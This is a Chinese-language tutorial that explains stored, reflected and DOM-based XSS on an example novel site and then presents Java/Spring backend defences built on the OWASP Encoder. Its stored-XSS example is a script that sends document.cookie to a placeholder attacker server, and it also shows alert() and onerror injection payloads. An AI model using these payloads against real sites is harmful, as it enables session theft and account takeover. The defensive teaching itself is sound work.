先记住
XSS 本质 = 攻击者让浏览器执行了他写的恶意 JS
三大类型的唯一区别:恶意代码藏在哪里、怎么传给浏览器。
一、三种 XSS 介绍 + 攻击案例
1)存储型 XSS(持久型・最危险)
定义
恶意代码被服务器保存到数据库,所有访问该页面的用户都会自动执行。
攻击流程
- 攻击者提交恶意代码(评论、昵称、简介、留言)
- 服务器未过滤,直接存入数据库
- 其他用户打开页面
- 页面从数据库读出恶意代码并直接渲染到 HTML
- 浏览器执行恶意 JS
攻击例子
场景:小说评论区
攻击者提交评论:
<script>fetch('http://攻击者服务器/steal?cookie='+document.cookie)</script>
如果后端没防御:
- 代码存入数据库
- 所有读者打开评论页
- 浏览器直接执行脚本
- 所有人的登录 Cookie 被偷走 → 盗号
2)反射型 XSS(非持久型・最常见)
定义
恶意代码放在 URL 里,服务器 “反射” 回页面执行,不存数据库。
必须诱导用户点击带恶意参数的链接才会触发。
攻击流程
- 攻击者构造带恶意代码的 URL
- 用户点击链接
- 服务器获取 URL 参数,直接输出到页面
- 浏览器执行反射回来的 JS
攻击例子(搜索框场景)
网站搜索功能:
https://小说网站.com/search?keyword=斗罗大陆
后端代码(危险写法):
你搜索的关键词是:<%= request.getParameter("keyword") %>
攻击者构造链接:
https://小说网站.com/search?keyword=<script>alert('盗取Cookie')</script>
用户点击 → 页面直接执行脚本。
3)DOM 型 XSS(纯前端・后端无法防御)
定义
恶意代码不经过服务器解析,直接由前端 JS 读取 URL / 输入框内容并修改 DOM触发。
后端过滤器、JSON 反序列化器都防不住!
攻击流程
- 攻击者构造 URL
- 用户点击
- 前端 JS从 URL 取参数
- 前端 JS直接把内容插入 DOM(innerHTML/document.write 等)
- 浏览器执行恶意代码
攻击例子(最典型)
前端代码(危险写法):
// 从URL取参数,直接修改页面
let keyword = new URLSearchParams(location.search).get("keyword");
document.getElementById("result").innerHTML = keyword;
攻击者构造 URL:
https://小说网站.com/search?keyword=<img src=x onerror="alert('DOM-XSS')">
用户点击 → 前端执行 onerror 事件脚本。
二、后端xss防御实现(基于OWASP提供的编码)
通过后端代码能防御:
- 存储型 XSS(JSON 提交、表单提交)
- 反射型 XSS(URL 参数、请求头)
1)通过XSS过滤器和新建的XssHttpServletRequestWrapper实现对反射型XSS的防御
XssFilter
@Component
@WebFilter(urlPatterns = "/*", filterName = "xssFilter")
@EnableConfigurationProperties(value = {XssProperties.class})
@RequiredArgsConstructor
public class XssFilter implements Filter {
private final XssProperties xssProperties;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (handleExcludeUrl(req)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper(
(HttpServletRequest) servletRequest);
filterChain.doFilter(xssRequest, servletResponse);
}
private boolean handleExcludeUrl(HttpServletRequest request) {
if (CollectionUtils.isEmpty(xssProperties.excludes())) {
return false;
}
String url = request.getServletPath();
for (String pattern : xssProperties.excludes()) {
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find()) {
return true;
}
}
return false;
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
XssHttpServletRequestWrapper
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest request) {
super(request);
}
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values != null) {
int length = values.length;
String[] escapeValues = new String[length];
for (int i = 0; i < length; i++) {
// 使用OWASP Encoder进行HTML编码防止XSS攻击
escapeValues[i] = Encode.forHtml(values[i]);
}
return escapeValues;
}
return new String[0];
}
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
if (value != null) {
// 使用OWASP Encoder进行HTML编码防止XSS攻击
return Encode.forHtml(value);
}
return null;
}
@Override
public Map<String, String[]> getParameterMap() {
Map<String, String[]> parameters = super.getParameterMap();
Map<String, String[]> result = new HashMap<>();
if (parameters != null) {
for (Map.Entry<String, String[]> entry : parameters.entrySet()) {
String[] values = entry.getValue();
if (values != null) {
String[] encodedValues = new String[values.length];
for (int i = 0; i < values.length; i++) {
if (values[i] != null) {
// 使用OWASP Encoder进行HTML编码防止XSS攻击
encodedValues[i] = Encode.forHtml(values[i]);
} else {
encodedValues[i] = null;
}
}
result.put(entry.getKey(), encodedValues);
}
}
}
return result;
}
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (value != null) {
// 使用OWASP Encoder进行HTML编码防止XSS攻击
return Encode.forHtml(value);
}
return null;
}
}
说明
防御角度: 对 HTTP 请求参数和 Header 做输出编码,防止后续在 HTML 中渲染时触发 XSS。
防御时机: 在 Controller 或 Filter 中调用 request.getParameter()、getParameterValues()、getParameterMap()、getHeader() 时,返回的是已经过 Encode.forHtml() 编码的值。
特点: 只处理表单、Query、Header,不处理请求体(Body),因此对 application/json 无效。
2)通过 GlobalJsonDeserializer对请求体中的数据进行编码,防御存储型Xss攻击
GlobalJsonDeserializer
@JsonComponent
public class GlobalJsonDeserializer {
/**
* 字符串反序列化器:过滤特殊字符,解决 XSS 攻击
*/
public static class StringDeserializer extends JsonDeserializer<String> {
@Override
public String deserialize(JsonParser jsonParser,
DeserializationContext deserializationContext) throws IOException {
// 使用OWASP Encoder进行HTML编码防止XSS攻击
String value = jsonParser.getValueAsString();
return value != null ? Encode.forHtml(value) : null;
}
}
}
说明
防御角度: 对 JSON 请求体中的字符串 做 HTML 编码,防止反序列化后的字符串在 HTML 中渲染时触发 XSS。
防御时机: 在 Jackson 反序列化 时,即 Controller 方法参数绑定之前:
特点: 只处理 JSON 中的字符串类型,对数字、布尔、对象等不处理;且对所有字符串统一编码,可能影响需要保留 HTML 的字段。